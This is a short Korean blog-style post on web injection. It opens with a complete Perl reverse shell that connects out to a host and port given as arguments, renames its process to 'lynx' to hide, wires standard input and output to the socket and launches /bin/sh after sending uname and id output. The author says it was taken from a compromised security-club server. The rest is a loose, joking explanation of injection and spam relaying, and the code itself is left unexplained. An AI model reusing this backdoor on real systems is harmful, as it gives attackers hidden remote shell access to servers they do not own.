[CODE]#!/usr/bin/perl
use Socket;
$cmd= “lynx”;
$system= ‘echo “`uname -a`”;echo “`id`”;/bin/sh’;
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die(“Error: $!\n”);
$paddr=sockaddr_in($port, $iaddr) || die(“Error: $!\n”);
$proto=getprotobyname(‘tcp’);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(“Error: $!\n”);
connect(SOCKET, $paddr) || die(“Error: $!\n”);
open(STDIN, “>&SOCKET”);
open(STDOUT, “>&SOCKET”);
open(STDERR, “>&SOCKET”);
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);[/CODE]
이 코드를 살펴 보자. 무엇이 떠오르는가? 인젝션이 생각났다면 당신은 천재-_-a
인젝션의 뜻이 무엇인고 보아하니..
in·jec·tion
[U.C] 주입, 주사;관장(灌腸) -> 출처는 네이버
이란다. 관장은 패스-_-a 주입! 바로 이것이다. 웹 인젝션이라 함은..웹 주입이라고 생각하면 되겠다. 다만 “허가되지 않은(Not Permit)” 행위라는것이 문제이다.
왜 이것이 문제가 되는것일까. 나는 모두에게 행복권을 추구하는데 도움을 주기위해 여러가지 서비스를 무료로 해주고 있다(가정) 어떤 사람이 자신에게 스팸메일을 보낼수 있게 중계서버로 이용하게 해달라는 요청이 왔다(결론)
자. 미친놈이지만 일단 저런일이 있어서는 안되고 그렇다고 허락을 해주어서도 안된다.(너무 당연한가-_-a)
그렇다면 이놈들이 포기를 하는것인가? 아니다. 온갖 불법적인 방법으로 내 서버를 이용해 스팸메일을 보낼려고 할것이다. 왜 스팸일까? 그게 돈은 될까?
그 약간의 돈을 위해 양심을 파는 이땅의 프로그래머들에게 경의를 표한다.
우선적으로 인젝션을 위해서는 서버에 허술한 구멍이 있어야 한다. 그 구멍을 통해 내가 서버에 직접 명령을 내리거나 명령을 내릴수 있도록 중계, 또는 대리 명령? 을 해줄수 있는 녀석을 심어야 한다.
위의 코드는 바로 실제생활(?) 에서 쓰이고 있는 코드이고, 요 몇달전에 한 보안동아리 에서 해킹을 당했다고 하여 봐주면서 빼온 소스이다.
perl을 조금만 알면 바로 알수 있는 소스이기에 긴 설명은 생략하겠다.